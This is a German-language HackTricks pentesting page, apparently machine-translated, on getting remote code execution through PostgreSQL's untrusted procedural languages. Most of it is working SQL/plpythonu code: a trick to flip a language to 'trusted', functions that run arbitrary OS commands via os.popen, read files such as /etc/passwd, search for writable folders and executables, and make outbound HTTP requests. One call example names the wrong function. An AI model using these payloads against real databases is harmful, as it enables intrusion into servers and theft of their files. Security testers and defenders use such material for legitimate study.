9.2 KiB
RCE mit PostgreSQL-Sprachen
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.
PostgreSQL-Sprachen
Die PostgreSQL-Datenbank, auf die du Zugriff hast, könnte verschiedene Skriptsprache installiert haben, die du missbrauchen könntest, um willkürlichen Code auszuführen.
Du kannst sie zum Laufen bringen:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Die meisten der Skriptsprachen, die Sie in PostgreSQL installieren können, haben 2 Varianten: die vertrauenswürdige und die unvertrauenswürdige. Die unvertrauenswürdige hat einen Namen, der mit "u" endet und ist die Version, die es Ihnen ermöglicht, Code auszuführen und andere interessante Funktionen zu nutzen. Dies sind Sprachen, die, wenn sie installiert sind, interessant sind:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (jede andere Programmiersprache, die eine unsichere Version verwendet)
{% hint style="warning" %}
Wenn Sie feststellen, dass eine interessante Sprache installiert ist, aber von PostgreSQL unvertrauenswürdig ist (lanpltrusted
ist false
), können Sie versuchen, sie mit der folgenden Zeile vertrauenswürdig zu machen, sodass keine Einschränkungen von PostgreSQL angewendet werden:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
{% endhint %}
{% hint style="danger" %} Wenn Sie eine Sprache nicht sehen, können Sie versuchen, sie mit (Sie müssen Superadmin sein):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
{% endhint %}
Beachten Sie, dass es möglich ist, die sicheren Versionen als "unsicher" zu kompilieren. Überprüfen Sie dies zum Beispiel. Es lohnt sich also immer zu versuchen, ob Sie Code ausführen können, auch wenn Sie nur die vertrauenswürdige Version gefunden haben.
plpythonu/plpython3u
{% tabs %} {% tab title="RCE" %}
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
{% endtab %}
{% tab title="Betriebssystembenutzer abrufen" %}
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
{% endtab %}
{% tab title="Verzeichnis auflisten" %}
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
{% endtab %}
{% tab title="W-Ordner finden" %}
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
{% endtab %}
{% tab title="Datei finden" %}
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
{% endtab %}
{% tab title="Finde ausführbare Dateien" %}
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
{% endtab %}
{% tab title="Exec durch Subs finden" %}
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
{% endtab %}
{% tab title="Lesen" %}
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
{% endtab %}
{% tab title="Berechtigungen abrufen" %}
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
{% endtab %}
{% tab title="Anfrage" %}
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
{% endtab %} {% endtabs %}
pgSQL
Überprüfen Sie die folgende Seite:
{% content-ref url="pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}
C
Überprüfen Sie die folgende Seite:
{% content-ref url="rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.